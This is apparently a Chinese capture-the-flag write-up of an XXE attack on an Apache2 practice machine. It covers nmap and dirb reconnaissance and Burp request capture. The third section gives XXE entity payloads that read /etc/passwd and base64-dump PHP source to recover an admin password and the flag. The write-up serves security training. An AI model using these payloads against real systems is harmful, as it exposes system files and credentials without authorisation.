Apache2-XXE漏洞渗透

文章目录

  • 前言
  • 一、nmap扫描
  • 二、利用获取的信息
  • 三、XXE漏洞利用
  • 总结

前言

Apache2 Ubuntu Default Page 是一个包含xxe漏洞的页面,如何找到和利用xxe漏洞,并找到flag呢?


一、nmap扫描

首先进行信息收集,nmap是我们的常用工具
靶机地址10.40.2.116 ,可正常访问
Apache2-XXE漏洞渗透_第1张图片在kali中扫描靶机开放端口等信息
Apache2-XXE漏洞渗透_第2张图片可观察到只有80端口开放,没有利用价值
再用dirb扫描目标隐藏文件
dirb http://10.40.2.116 /usr/share/wordlists/dirb/big.txt -X .php,.txt
Apache2-XXE漏洞渗透_第3张图片发现扫描到了目录下有一个robots.txt文件
登录查看
Apache2-XXE漏洞渗透_第4张图片有信息
发现目录下还有文件

二、利用获取的信息

上面可看到有xxe文件和admin.php
查看一下
Apache2-XXE漏洞渗透_第5张图片是一个登陆界面
/xxe/admin.php也是一个登陆界面
Apache2-XXE漏洞渗透_第6张图片我们利用/xxe登录界面bp抓包看有没有发现

Apache2-XXE漏洞渗透_第7张图片发现数据以post方式提交,并在最下方有xxe代码
发送到repeater提交试试
Apache2-XXE漏洞渗透_第8张图片这里注意到ad有回显
那么如果将ad指向其他文件呢,很有可能此处有xxe漏洞


三、XXE漏洞利用

我们构造xxe语句将ad指向/etc/passwd文件,看是否有回显

<!DOCTYPE test[
<!ENTITY ad SYSTEM "file:///etc/passwd">
]>

Apache2-XXE漏洞渗透_第9张图片可看到显示文件内容,说明存在xxe漏洞
那么继续查看首页文件
apache首页文件默认路径时/var/www/html/

<!DOCTYPE test[
<!ENTITY ad SYSTEM "file:///var/www/html/xxe/index.php">
]>

Apache2-XXE漏洞渗透_第10张图片发现读取不了
可以改用php伪协议读取

<!DOCTYPE test[
<!ENTITY ad SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/xxe/index.php">
]>

Apache2-XXE漏洞渗透_第11张图片再通过decoder解密
Apache2-XXE漏洞渗透_第12张图片得到首页文件但是里面内容没有可利用的
但是还有一个文件/xxe/admin.php我们没有查看
同样的方式查看一下

<!DOCTYPE test[
<!ENTITY ad SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/xxe/admin.php">
]>

base64解密后得到关键信息
Apache2-XXE漏洞渗透_第13张图片可以看到用户名和MD5加密的密码,以及flag
密码解密后为 admin@123
Apache2-XXE漏洞渗透_第14张图片输入用户名密码
Apache2-XXE漏洞渗透_第15张图片成功登录,但是点击flag,提示flag不在这儿
Apache2-XXE漏洞渗透_第16张图片看看是否在xxe目录下
查看页面源代码获取到flag

总结

以上就是对该靶场的一个渗透过程,大致解题思路就是
1.nmap,dirb信息收集
2.bp抓包查询可利用漏洞
3.利用已知漏洞查看关键文件信息
4.简单的代码审计获取flag
希望对大家有帮助。

你可能感兴趣的:(漏洞靶场渗透,ubuntu,php,安全,linux,web安全)